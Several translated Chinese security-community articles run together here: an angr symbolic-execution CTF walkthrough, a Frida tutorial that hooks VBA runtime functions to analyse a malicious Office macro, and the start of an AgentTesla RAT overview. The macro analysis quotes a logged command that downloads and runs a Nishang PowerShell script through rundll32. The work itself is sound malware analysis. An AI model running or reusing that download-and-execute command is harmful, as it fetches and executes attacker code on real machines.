**Simulation Manager** 对象。这就基本上告诉符号执行引擎同程序的入口点开始符号执行，因此我们要做的第一件事就是编辑程序的位置。
path_to_binary = "./00_angr_find" # (1)
来看下两行
print_good_address = ??? (1)
simulation.explore(find=print_good_address) # (2)
这些是关键。 **print_good_address** 保存的是可以打印 **Good Job** 块的地址，我们可以通过反汇编找到这个地址。
用红色方框中的值替代 `???` 。在（2）处意思是告诉引擎找一条到该地址的路径。最后几行：
if simulation.found: # (1)
solution_state = simulation.found[0] # (2)
print solution_state.posix.dumps(sys.stdin.fileno()) # (3)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
在（1）处会检查 **found**
这个list（包含了所有可以到达目标地址的状态）是否为空。在这个例子中，如果有输入出发了正确的路径，在（2）处会将状态分配给
**solution_state** 并在（3）打印到标准输出。剩下几行就是如果没有状态可以到达约束的地址，就会执行这里。
现在就可以执行这个脚本
完整的脚本
import angr
import sys
def main(argv):
path_to_binary = "./00_angr_find" # path of the binary program
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
print_good_address = 0x8048678 # :integer (probably in hexadecimal)
simulation.explore(find=print_good_address)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
这是第一部分的内容，下一部分将会介绍如何解决路径爆炸问题，以及如何将符号缓冲区注入到程序
# part 1
上一部分介绍了如何对一个简单的二进制文件进行基本的符号执行，这次我们讨论 **symbolic bitvectors**
（符号位向量）以及如何避免不必要的状态以减少执行时间。
我们准备跳过 **00_angr_avoid** , 这个跟第一个很像，不过你还要指定avoid 分支： **explore()**
方法允许用不想分析的代码地址作为avoid参数。
## 02_angr_find_condition
这个题目教给我们如何让angr根据程序的输出判断avoid或者keep哪些状态。反汇编这个题目就会发现有大量的代码块输出 **Good Job** or
**Try again.**
，因此，要想记录下这些代码的地址会非常麻烦。幸运的是我们可以告诉angr 根据打印到标准输出的内容保持或丢弃某些状态。首先打开
**scaffold02.py** 文件。
import angr
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
# Define a function that checks if you have found the state you are looking
# for.
def is_successful(state):
# Dump whatever has been printed out by the binary so far into a string.
stdout_output = state.posix.dumps(sys.stdout.fileno())
# Return whether 'Good Job.' has been printed yet.
# (!)
return ??? # :boolean
# Same as above, but this time check if the state should abort. If you return
# False, Angr will continue to step the state. In this specific challenge, the
# only time at which you will know you should abort is when the program prints
# "Try again."
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return ??? # :boolean
# Tell Angr to explore the binary and find any state that is_successful identfies
# as a successful state by returning True.
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
print solution_state.posix.dumps(sys.stdin.fileno())
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
首先编辑程序路径
path_to_binary = "./02_angr_find_condition"
现在看一下 **is_successful()** 函数，这个函数应该是判断当前状态能否使程序输出 **Good Job** ，然后返回 **True or
False** ，
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno()) # (1)
if b'Good Job.' in stdout_output: # (2)
return True # (3)
else: return False
在（1）我们把标准输出赋值给 **stdout_output** ，注意：那不是字符串而是一个bytes 对象，意味着在（2）我们需要使用 **b'Good
Job.'** 替代 **Good Job.** 检查是否输出了字符串 **Good Job.** 。在（3）根据是否得到目标字符串返回 ture 或者
false。用同样的方法判断输出是否为 **Try Again** 。
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.' in stdout_output:
return True
else: return False
定义好这两个函数以后，告诉angr我们感兴趣的代码路径以及要避免的代码路径。
simulation.explore(find=is_successful, avoid=should_abort)
**find** 跟 **avoid**
参数可以是一个你已经确定感兴趣或要避免的地址（或者是地址列表）或者是一个可以动态选择“是否感兴趣”的函数。在这个例子里，因为有太多的状态可以打印我们感兴趣的字符串，所以我们采用两个函数。
之后就是检查结果是不是我们想要的。
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
代码有点像 **scaffold00.py** 里的代码，它会检查是否有状态能打印 **Good Job**
，并打印一个可以到达约束路径的输入（可能会有很多，但是我们选择第一个）。下面是完整的脚本：
import angr
import sys
def main(argv):
path_to_binary = "./02_angr_find_condition"
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.' in stdout_output:
return True
else: return False
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.' in stdout_output:
return True
else: return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution = solution_state.posix.dumps(sys.stdin.fileno())
print("[+] Success! Solution is: {}".format(solution.decode("utf-8")))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
如果我们不确定avoid参数，只用find参数执行会发生什么？在这个挑战里一点也不要紧，因为这个程序很小，没有太多的分支。如果是更复杂的程序呢？然我们看下一个挑战。
## 03_angr_symbolic_registers
现在我们开始真正的接触angr了。但是首先我要告诉你一件事情：当调用 **scanf（）**
的时候，angr无法处理复杂的格式。因此我们通过这个学习如何将符号值注入寄存器。
首先，我们先看一下 **main** 函数。
有一个 **get_user_input** 函数，还有三个 **complex_function_1** ， **complex_function_2**
， **complex_function_3** 函数用于操纵 **get_user_input** 函数的输出。我们看一下
**get_user_input** 的内容，看看它是如何解析输入的。
angr最大的敌人就是复杂格式的字符串，在调用 **scanf** 之前就可以看到程序将 **"%x %x %x"**
地址压栈，意味着程序以3个16进制数作为输入。
通过红框内可知，三个16进制数被放进了三个寄存器 ：`eax`,`ebx`,`edx`。最好注意一下。现在我们已经掌握了程序如何解析输入的内容，现在看一下
**scaffold03.py** 脚本。
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
# Sometimes, you want to specify where the program should start. The variable
# start_address will specify where the symbolic execution engine should begin.
# Note that we are using blank_state, not entry_state.
# (!)
start_address = ??? # :integer (probably hexadecimal)
initial_state = project.factory.blank_state(addr=start_address)
# Create a symbolic bitvector (the datatype Angr uses to inject symbolic
# values into the binary.) The first parameter is just a name Angr uses
# to reference it.
# You will have to construct multiple bitvectors. Copy the two lines below
# and change the variable names. To figure out how many (and of what size)
# you need, dissassemble the binary and determine the format parameter passed
# to scanf.
# (!)
password0_size_in_bits = ??? # :integer
password0 = claripy.BVS('password0', password0_size_in_bits)
...
# Set a register to a symbolic value. This is one way to inject symbols into
# the program.
# initial_state.regs stores a number of convenient attributes that reference
# registers by name. For example, to set eax to password0, use:
#
# initial_state.regs.eax = password0
#
# You will have to set multiple registers to distinct bitvectors. Copy and
# paste the line below and change the register. To determine which registers
# to inject which symbol, dissassemble the binary and look at the instructions
# immediately following the call to scanf.
# (!)
initial_state.regs.??? = password0
...
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return ???
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return ???
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
# Solve for the symbolic values. If there are multiple solutions, we only
# care about one, so we can use eval, which returns any (but only one)
# solution. Pass eval the bitvector you want to solve for.
# (!)
solution0 = solution_state.se.eval(password0)
...
# Aggregate and format the solutions you computed above, and then print
# the full string. Pay attention to the order of the integers, and the
# expected base (decimal, octal, hexadecimal, etc).
solution = ??? # :string
print solution
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
首先，我们先补全程序路径，然后告诉angr我们不想从程序开头开始执行，因为我们要跳过 **scanf** 函数。所以开始地址只能是 **call
scanf** 之后的指令地址，意味着我们可能需要从 **ADD ESP , 0X10** 开始执行，因为这条指令清理了 **scanf**
函数接收的数据，但是我们并没有调用该函数。。。
这就意味着我们需要跳过这条指令，设置 **start_address** 为 **MOV ECX, DWORD [EBP - 0x18]** 指令的地址
**0x08048937** 。
但是还有一个问题：如果从 **0x08048937**
开始执行的话程序无法正常工作，因为没有开辟栈空间，要这样做的话，首先需要开辟栈空间，但是作者没有这么做。为了使程序工作，我决定从 **call
get_user_input** 的下一条指令开始分析（也就是 **MOV DWORD [EBP - 0x14], EAX @0x8048980**
），这不会改变任何东西，因为我们只是跳过该功能并直接设置寄存器的值。
start_address = 0x8048980
initial_state = project.factory.blank_state(addr=start_address)
注意，我们这次使用 **blank_state()** 方法替代了 **entry_state()** 。通过把
**addr=start_address** 传递给 **blank_state()** ，实际上是告诉angr在这个特定的地址创建一个新状态。
还记得 **get_user_input**
解析我们的输入，并把三个值分别赋给三个寄存器吗？现在开始制作输入，以便程序能到达我们要去的地方。为此我们需要创建三个符号位向量，如注释中所述，符号位向量是angr用于将符号值注入程序的数据类型。这些位向量作为angr求解的方程的
**x** 。我们用 **claripy** 通过 **BVS()**
方法生成三个位向量。这个方法需要两个参数：第一个参数表示符号名，第二个参数表示这个符号的长度
单位bit。因为符号值都保存在寄存器里，并且寄存器都是32位的，所以位向量的大小也需要是32位的。
password_size_in_bits = 32
password0 = claripy.BVS('password0', password_size_in_bits)
password1 = claripy.BVS('password1', password_size_in_bits)
password2 = claripy.BVS('password2', password_size_in_bits)
现在我们已经创建了三个符号位向量，现在就把他们赋值给 `eax`,`ebx`,`edx`。我准备修改先前创建的状态 **initial_state**
，并更新寄存器的内容，幸运的是，angr提供了一个非常智能的方法：
initial_state.regs.eax = password0
initial_state.regs.ebx = password1
initial_state.regs.edx = password2
现在我们准备跟以前一样定义 `find` , `avoid` 状态。
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.\n' in stdout_output:
return True
else: return False
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.\n' in stdout_output:
return True
else: return False
simulation.explore(find=is_successful, avoid=should_abort)
所有事情都准备好了，下面就是打印解了。
if simulation.found:
solution_state = simulation.found[0]
# Solve for the symbolic values. If there are multiple solutions, we only
# care about one, so we can use eval, which returns any (but only one)
# solution. Pass eval the bitvector you want to solve for.
# (!) NOTE: state.se is deprecated, use state.solver (it's exactly the same).
solution0 = format(solution_state.solver.eval(password0), 'x') # (1)
solution1 = format(solution_state.solver.eval(password1), 'x')
solution2 = format(solution_state.solver.eval(password2), 'x')
# Aggregate and format the solutions you computed above, and then print
# the full string. Pay attention to the order of the integers, and the
# expected base (decimal, octal, hexadecimal, etc).
solution = solution0 + " " + solution1 + " " + solution2 # (2)
print("[+] Success! Solution is: {}".format(solution))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
需要解释一下：
* （1） 我们根据注入的三个符号值调用求解引擎的 **eval()** 方法； **format()** 方法格式化解并去掉16进制的 “0x”。
* （2） 我们重组3个解，组合为一个字符串，然后打印出来。
下面是完整的方法：
import angr
import claripy
import sys
def main(argv):
path_to_binary = "./03_angr_symbolic_registers"
project = angr.Project(path_to_binary)
start_address = 0x08048980 # address right after the get_input function call
initial_state = project.factory.blank_state(addr=start_address)
password_size_in_bits = 32
password0 = claripy.BVS('password0', password_size_in_bits)
password1 = claripy.BVS('password1', password_size_in_bits)
password2 = claripy.BVS('password2', password_size_in_bits)
initial_state.regs.eax = password0
initial_state.regs.ebx = password1
initial_state.regs.edx = password2
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Good Job.\n' in stdout_output:
return True
else: return False
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.\n' in stdout_output:
return True
else: return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution0 = format(solution_state.solver.eval(password0), 'x')
solution1 = format(solution_state.solver.eval(password1), 'x')
solution2 = format(solution_state.solver.eval(password2), 'x')
solution = solution0 + " " + solution1 + " " + solution2 # :string
print("[+] Success! Solution is: {}".format(solution))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
下一节，我们将会学习如何构造栈帧，并在函数内直接跳转。
# part 2
上面我们学习了如何使用angr将符号位向量注入到寄存器中以及如何避免不必要的代码路径，但是我们跳过了如何在函数内直接执行，现在不得不从头为函数构造栈帧，下面将会讲如何做到这一点。
## 04_angr_symbolic_stack
首先看一下这个挑战
看一下 **handle_user** 函数，
在调用 **scanf** 把格式化字符串压入栈之前，先会把两个局部变量地址入栈： **[EBP - 0x10]** ， **[EBP - 0xC]** 。
与上个挑战不同的是，这次的变量保存在栈上，而不是寄存器，这就意味着我们必须用一些栈技巧，在程序不崩溃的情况下推送符号缓冲区。回顾一下我们现在所知道的：
1. **main()** 调用 **handle_user()**
2. **handle_user()** 调用 **scanf()** 传入复杂的格式化字符串
3. **scanf()** 将两个变量的值压到 **handle_user** 函数栈上，位置`[EBP - 0x10]` 和`[EBP - 0xC]`
现在我们对程序做了什么有了一定了解，现在看一下 **scaffold04.py** 文件。
import angr
import claripy
import sys
def main(argv):
path_to_binary = argv[1]
project = angr.Project(path_to_binary)
start_address = ???
initial_state = project.factory.blank_state(addr=start_address)
initial_state.regs.ebp = initial_state.regs.esp
password0 = claripy.BVS('password0', ???)
...
padding_length_in_bytes = ??? # :integer
initial_state.regs.esp -= padding_length_in_bytes
initial_state.stack_push(???) # :bitvector (claripy.BVS, claripy.BVV, claripy.BV)
...
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return ???
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
return ???
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution0 = solution_state.se.eval(password0)
...
solution = ???
print solution
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
我们首先应当先想好一个策略而不是立即就对这个脚本进行修改。我们需要确定angr应当从哪里开始。因为我们需要跳过 **scanf** 函数，因此我们可能需要从
**0x8048697** 地址开始。所以直接跳过指令 **ADD ESP, 0x10** ，
因为它的作用是在 **scanf** 函数返回以后清理栈空间，但是我们没有调用它，因此不需要清理任何东西。
现在我们需要了解，我们跳过的那些指令是如何调整栈空间的，我们要注入的符号位向量的确切的位置。从前面的分析可知，我们要注入的位置是 `[EBP -0x10]` ， `[EBP - 0xC]`，因此在压栈前我们我要填充栈，但是我们首先应当告诉 **ebp**
它应该是指向内存的什么位置。因此我们要用angr处理函数开头（我们跳过的部分）： **MOV EBP, ESP**
。之后我们需要减小帧指针的值（译者注：这里应该是模拟 `sub esp, XXX`）并压入我们的值。但是我们需要填充多少字节？
我们知道，两只值中地址最小的是 **[EBP - 0xC]** ，因为它是四字节的值，所以它将会占据一下内存：`| 0xC | 0xB | 0xA |
0x9 |`，一共两个值意味着我们需要在压入它们之前填充8个字节。之后向栈上压入我们的值，现在看一下如何修改脚本
def main(argv):
path_to_binary = "04_angr_symbolic_stack"
project = angr.Project(path_to_binary)
start_address = 0x8048697
initial_state = project.factory.blank_state(addr=start_address)
修改程序位置，并将 **start_address** 的值修改为前面分析的地址。现在开始构造栈，首先用下面的方法执行 **MOV EBP, ESP**
指令
initial_state.regs.ebp = initial_state.regs.esp
然后就是栈指针地址减8以提供填充空间。因为程序需要两个接收两个无符号整数，所以符号位向量的大小就应该是32bit。
password0 = claripy.BVS('password0', 32)
password1 = claripy.BVS('password1', 32)
initial_state.stack_push(password0)
initial_state.stack_push(password1)
之后与前面的脚本基本相同，只要求解符号位向量并打印他们。
if simulation.found:
solution_state = simulation.found[0]
solution0 = (solution_state.solver.eval(password0))
solution1 = (solution_state.solver.eval(password1))
print("[+] Success! Solution is: {0} {1}".format(solution0, solution1))
else:
raise Exception('Could not find the solution')
下面是完整的脚本：
import angr
import claripy
import sys
def main(argv):
path_to_binary = "04_angr_symbolic_stack"
project = angr.Project(path_to_binary)
start_address = 0x8048697
initial_state = project.factory.blank_state(addr=start_address)
initial_state.regs.ebp = initial_state.regs.esp
password0 = claripy.BVS('password0', 32)
password1 = claripy.BVS('password1', 32)
padding_length_in_bytes = 0x08
initial_state.regs.esp -= padding_length_in_bytes
initial_state.stack_push(password0)
initial_state.stack_push(password1)
simulation = project.factory.simgr(initial_state)
def is_successful(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
#print(stdout_output)
if b'Good Job.\n' in stdout_output:
return True
else: return False
def should_abort(state):
stdout_output = state.posix.dumps(sys.stdout.fileno())
if b'Try again.\n' in stdout_output:
return True
else: return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
solution_state = simulation.found[0]
solution0 = (solution_state.solver.eval(password0))
solution1 = (solution_state.solver.eval(password1))
print( solution0, solution1)
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
main(sys.argv)
# 相关链接
angr_ctf : <https://github.com/jakespringer/angr_ctf>
原文地址：
<https://blog.notso.pro/2019-03-20-angr-introduction-part0/>
<https://blog.notso.pro/2019-03-25-angr-introduction-part1/>
<https://blog.notso.pro/2019-03-26-angr-introduction-part2/> | 社区文章 |
# 如何使用Frida对Windows平台的程序进行逆向分析
|
##### 译文声明
本文是翻译文章，文章原作者 DarunGrim，文章来源：darungrim.com
原文地址：<https://darungrim.com/research/2020-06-17-using-frida-for-windows-reverse-engineering.html>
译文仅供参考，具体内容表达以及含义原文为准。
Frida是目前比较流行的基于JavaScript的Hook框架。已经在移动安全的研究中得到了广泛的应用。最近我们发现，Frida或许可以在Windows平台上也大展身手。我们认为Frida是可以用于Windows平台的逆向工具之一，但是在我们测试过程中发现Frida不能进行符号查找，这也是之前Frida一直没有在Windows平台得以广泛使用的重要原因。于是我们对Frida进行了改进，现在Frida12.9.8已经具备了此功能。
我们非常感谢[Ole André Vadla Ravnås](https://twitter.com/oleavr)所提供的帮助。
## Frida12.9.8改进
总的来说，Frida使用deghelp.dll
提供的API在Windows平台中查找符号，但是它缺少了符号服务器的支持。于是我们增加了符号服务器支持，并改进了Windows中传递符号字符串的方法。在旧版本的Frida中，由于使用通配符模块查找符号的原因，查找每个符号都会花费一定的时间。而现在，您可以指定模块名称以加快符号查找的速度。
新的Frida将结合symsrv.dll和dbghelp.dll对包括Microsoft符号服务器在内的符号服务器提供支持。
这些是我们在Ole的帮助下所做的更改。
[1\. 添加load_symbols() 并改进DbgHelp后端](https://github.com/frida/frida-gum/commit/c3db9ea72f0374905949439f5fcefd1858842ba4)
[2\. 将代理迁徙到Windows上的DbgHelp](https://github.com/frida/frida-core/commit/cf919b97bdd8bfad0c358c751f880bda2b0304c9)
## 案例研究：office宏代码分析
接下来我们将通过改进的Frida对一个Office Macro恶意软件进行逆向分析。
## Injection and instrumentation
下图显示了Frida通常如何安装钩子并从安装的钩子中获取消息：
此过程中涉及frida，session，脚本对象，管理钩子安装。
其中hook的回调函数是用JavaScript编写的。
以下代码显示了一个示例，说明如何使用这些对象来安装分配给self.script_text变量的JavaScript
hook代码，以使用process_id变量进行处理。
def instrument(self, process_id):
session = frida.attach(process_id)
self.sessions.append(session)
session.enable_child_gating()
script = session.create_script(self.script_text)
script.on('message', self.on_message)
script.load()
## 符号查询：resolveName
Frida 的JavaScript API在[文档](https://frida.re/docs/javascript-api/)中有很好的描述。
使用Frida进行hook的第一步是找到目标函数。
如果函数已导出，则只需使用导出的函数名称和DLL名称调用Module.findExportByName方法。
Module.findExportByName(dllName, name)
但是，如果该函数未导出并且仅记录在PDB符号文件中，则可以调用DebugSymbol.getFunctionByName方法。使用Frida
12.9.8，您可以传递“ DLLName！FunctionName”符号，以便在调用指定特定功能时提高准确性，并在定位它们时获得更好的性能。
有时模块加载符号可能会很慢，因为它可能来自远程符号服务器。因此，您需要调用DebugSymbol.load方法来启动符号的加载，以便我们加载最少数量的符号。
这是一个示例代码，该示例代码使用Module.findExportByName和DebugSymbol方法查找任何带符号或导出的函数。它使用字典来缓存删除所有重复的记录。如果您要连接大量函数，则可以节省整个符号查找时间。
vbe.js
var loadedModules = {}
var resolvedAddresses = {}
function resolveName(dllName, name) {
var moduleName = dllName.split('.')[0]
var functionName = moduleName + "!" + name
if (functionName in resolvedAddresses) {
return resolvedAddresses[functionName]
}
log("resolveName " + functionName);
log("Module.findExportByName " + dllName + " " + name);
var addr = Module.findExportByName(dllName, name)
if (!addr || addr.isNull()) {
if (!(dllName in loadedModules)) {
log(" DebugSymbol.loadModule " + dllName);
try {
DebugSymbol.load(dllName)
} catch (err) {
return 0;
}
log(" DebugSymbol.load finished");
loadedModules[dllName] = 1
}
try {
log(" DebugSymbol.getFunctionByName: " + functionName);
addr = DebugSymbol.getFunctionByName(moduleName + '!' + name)
log(" DebugSymbol.getFunctionByName: addr = " + addr);
} catch (err) {
log(" DebugSymbol.getFunctionByName: Exception")
}
}
resolvedAddresses[functionName] = addr
return addr
}
## 设置符号路径
在Windows环境下设置符号服务器的方法有很多，建议您从命令行设置_NT_SYMBOL_PATH变量。Windows调试器的符号路径对变量的用法有很好的描述。
以下将使用” c： symbols”作为其本地符号存储来缓存正式的Microsoft符号服务器。
setx _NT_SYMBOL_PATH SRV*c:symbols*https://msdl.microsoft.com/download/symbols
以下命令将使系统使用默认的符号存储目录。
setx _NT_SYMBOL_PATH SRV*https://msdl.microsoft.com/download/symbols
## 运行恶意软件并观察其行为
我们使用以下示例测试Frida改进的符号查找功能。它具有一些混淆，可以使用Frida挂钩轻松分析。
我们在此处提供的代码可以从以下GitHub存储库中找到。
[Frida.examples.vbe](https://github.com/ohjeongwook/Frida.examples.vbe)
因此，当您启动Word进程且进程ID为3064时，可以使用以下命令从存储库中包含的vbe.js安装钩子。安装钩子之后，您可以打开恶意文档以观察其行为。
> python inject.py -p 3064 vbe.js
resolveName vbe7!rtcShell
Module.findExportByName vbe7 rtcShell
Interceptor.attach: vbe7!rtcShell@0x652a2b76
resolveName vbe7!__vbaStrCat
Module.findExportByName vbe7 __vbaStrCat
DebugSymbol.loadModule vbe7
DebugSymbol.load finished
DebugSymbol.getFunctionByName: vbe7!__vbaStrCat
DebugSymbol.getFunctionByName: addr = 0x651e53e6
Interceptor.attach: vbe7!__vbaStrCat@0x651e53e6
resolveName vbe7!__vbaStrComp
Module.findExportByName vbe7 __vbaStrComp
DebugSymbol.getFunctionByName: vbe7!__vbaStrComp
DebugSymbol.getFunctionByName: addr = 0x651e56a2
Interceptor.attach: vbe7!__vbaStrComp@0x651e56a2
resolveName vbe7!rtcCreateObject
Module.findExportByName vbe7 rtcCreateObject
Interceptor.attach: vbe7!rtcCreateObject@0x653e6e4c
resolveName vbe7!rtcCreateObject2
Module.findExportByName vbe7 rtcCreateObject2
Interceptor.attach: vbe7!rtcCreateObject2@0x653e6ece
resolveName vbe7!CVbeProcs::CallMacro
Module.findExportByName vbe7 CVbeProcs::CallMacro
DebugSymbol.getFunctionByName: vbe7!CVbeProcs::CallMacro
DebugSymbol.getFunctionByName: addr = 0x6529019b
Interceptor.attach: vbe7!CVbeProcs::CallMacro@0x6529019b
resolveName oleaut32!DispCallFunc
Module.findExportByName oleaut32 DispCallFunc
Interceptor.attach: oleaut32!DispCallFunc@0x747995b0
[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.
## 监视office宏行为的hook方法
vbe.js有一些有趣的钩子来监视恶意Office文档的行为。
### __vbaStrCat
vbe7.dll是Visual Basic运行时引擎的DLL。里面有很多有趣的功能。但是在这里，我们想观察字符串去混淆操作，vbe7！__
vbaStrCat是在Visual Basic中串联字符串时调用的函数。
.text:651E53E6 ; __stdcall __vbaStrCat(x, x)
.text:651E53E6 ___vbaStrCat@8 proc near ; CODE XREF: _lblEX_ConcatStr↑p
许多基于宏的恶意软件文档都使用基于字符串的混淆。通过观察字符串连接动作，您可以观察最终的去混淆字符串的构造。
以下hook代码将为每个调用打印出连接的字符串。
vbe.js
function hookVBAStrCat(moduleName) {
hookFunction(moduleName, "__vbaStrCat", {
onEnter: function (args) {
log("[+] __vbaStrCat")
// log('[+] ' + name);
// dumpBSTR(args[0]);
// dumpBSTR(args[1]);
},
onLeave: function (retval) {
dumpBSTR(retval);
}
})
}
这是一个示例输出，显示了最终的去混淆字符串。
这是另一个示例，显示了如何从混淆后的字符串构造“ WScript.Shell”字符串。
### rtcCreateObject2
恶意宏另一个常见恶意行为是创建对象以执行系统操作。执行此操作的函数是rtcCreateObject2。
.text:653E6ECE ; int __stdcall rtcCreateObject2(int, LPCOLESTR szUserName, wchar_t *Str2)
.text:653E6ECE public _rtcCreateObject2@8
.text:653E6ECE _rtcCreateObject2@8 proc near ; DATA XREF: .text:off_651D379C↑o
在VB引擎中创建新对象时，将调用rtcCreateObject2函数。
以下hook监视args [2]参数（wchar_t * Str2），该参数包含它创建的对象名称。
vbe.js
function hookRtcCreateObject2(moduleName) {
hookFunction(moduleName, "rtcCreateObject2", {
onEnter: function (args) {
log('[+] rtcCreateObject2');
dumpAddress(args[0]);
dumpBSTR(args[1]);
log(ptr(args[2]).readUtf16String())
},
onLeave: function (retval) {
dumpAddress(retval);
}
})
}
示例会话显示了CreateObject方法创建WScript.Shell对象。该对象用于从脚本运行外部命令。我们可以预期该脚本将运行外部恶意命令。
### DispCallFunc
还有一个很有趣的API是DispCallFunc函数。此函数用于调用COM方法。通过监视此API，我们可以更好地了解恶意软件正在尝试做什么。
该函数的原型如下所示。
HRESULT DispCallFunc(
void *pvInstance,
ULONG_PTR oVft,
CALLCONV cc,
VARTYPE vtReturn,
UINT cActuals,
VARTYPE *prgvt,
VARIANTARG **prgpvarg,
VARIANT *pvargResult
);
第一个参数pvInstance具有指向COM实例的指针，第二个参数oVft具有该函数正在调用的方法的偏移量。通过一些计算，您可以找到COM调用最终将调用的函数。
以下是此函数的钩子，该钩子将打印出实际的COM方法名称及其指令。Frida具有用于反汇编指令的API，在这种情况下，它确实非常有用。
function hookDispCall(moduleName) {
hookFunction(moduleName, "DispCallFunc", {
onEnter: function (args) {
log("[+] DispCallFunc")
var pvInstance = args[0]
var oVft = args[1]
var instance = ptr(ptr(pvInstance).readULong());
log(' instance:' + instance);
log(' oVft:' + oVft);
var vftbPtr = instance.add(oVft)
log(' vftbPtr:' + vftbPtr);
var functionAddress = ptr(ptr(vftbPtr).readULong())
loadModuleForAddress(functionAddress)
var functionName = DebugSymbol.fromAddress(functionAddress)
if (functionName) {
log(' functionName:' + functionName);
}
dumpAddress(functionAddress);
var currentAddress = functionAddress
for (var i = 0; i < 10; i++) {
try {
var instruction = Instruction.parse(currentAddress)
log(instruction.address + ': ' + instruction.mnemonic + ' ' + instruction.opStr)
currentAddress = instruction.next
} catch (err) {
break
}
}
}
})
}
下面显示了示例输出，该输出显示了对wshom.ocx！CWshShell :: Run的COM方法调用。
此外，您可以添加设备回调，它将监视进程创建行为。下面显示了rundll子进程用于通过powershdll.dll 以运行PowerShell。
⚡ child_added: Child(pid=6300, parent_pid=3064, origin=spawn, path='C:\Windows\System32\rundll32.exe', argv=['C:\Windows\System32\rundll32.exe', 'C:\Users\tester\AppData\Local\Temp\powershdll.dll,main', '.', '{', 'Invoke-WebRequest', '-useb', 'http://192.168.10.100:8080/nishang.ps1', '}', '^|', 'iex;'], envp=None)
## 结论
Frida是我在Windows平台上使用过的最方便，最方便的动态分析工具。虽然目前已经有WinDbg，OllyDbg和PyKD用于高级逆向工程。但是，对于真正快速和重复的分析工作，Frida绝对绰绰有余，并且Frida具有转储和分析程序行为的强大功能。有了Frida
12.9.8，现在我们有了更好的符号处理，这将提高整体可用性和生产率。 | 社区文章 |
**原文链接：[https://labs.sentinelone.com/](https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/ "https://labs.sentinelone.com/")
译者：知道创宇404实验室翻译组**
Tesla
RAT（远程访问特洛伊木马）已成为2020年上半年威胁企业的最流行的恶意软件系列之一，被发现的攻击次数甚至超过TrickBot或Emotet，仅次于Dridex
。尽管Agent
RAT代理已经存在了至少6年，但它仍在不断适应和发展，挫败了许多组织的安全工作。在COVID-19大流行期间，引入了具有附加功能的新变种，并且该恶意软件已广泛用于以冠状病毒为主题的网络钓鱼活动中。
## AgentTesla | 背景与概述
AgentTesla的核心是键盘记录程序和信息窃取者。AgentTesla于2014年底首次发现，在过去的1-2年中，其使用量一直稳定增长。该恶意软件最初在各种地下论坛和市场上出售，还有它自己的AgentTesla.com网站（现已停产），与许多同时代代理商一样，AgentTesla也提供了该恶意软件本身以及数据收集管理面板，从被攻击设备获取的信息可以通过面板界面快速获得给攻击者。
最初推出时，可以购买各种“包”。每个软件包的基本区别在于许可期限和构建/更新的访问权限。当时，价格颇具竞争力，1个月的许可证售价为12.00美元，一直到6个月的许可证售价为35.00美元。还值得注意的是，与许多其他这种性质的工具一样，AgentTesla大力的破解版很快出现。
AgentTesla的早期版本还吹捧了全套功能，正如人们希望在现代RAT中发现的那样，其中包括：
* 多国语言支持
* PHP Web面板
* 付款后自动激活（针对直接客户）
* 24/7支持
* 稳定快速地执行
* 按键日志，屏幕截图和剪贴板提取的多种交付方式
* 支持多种Windows版本（XP或更高版本）
## 投放机制
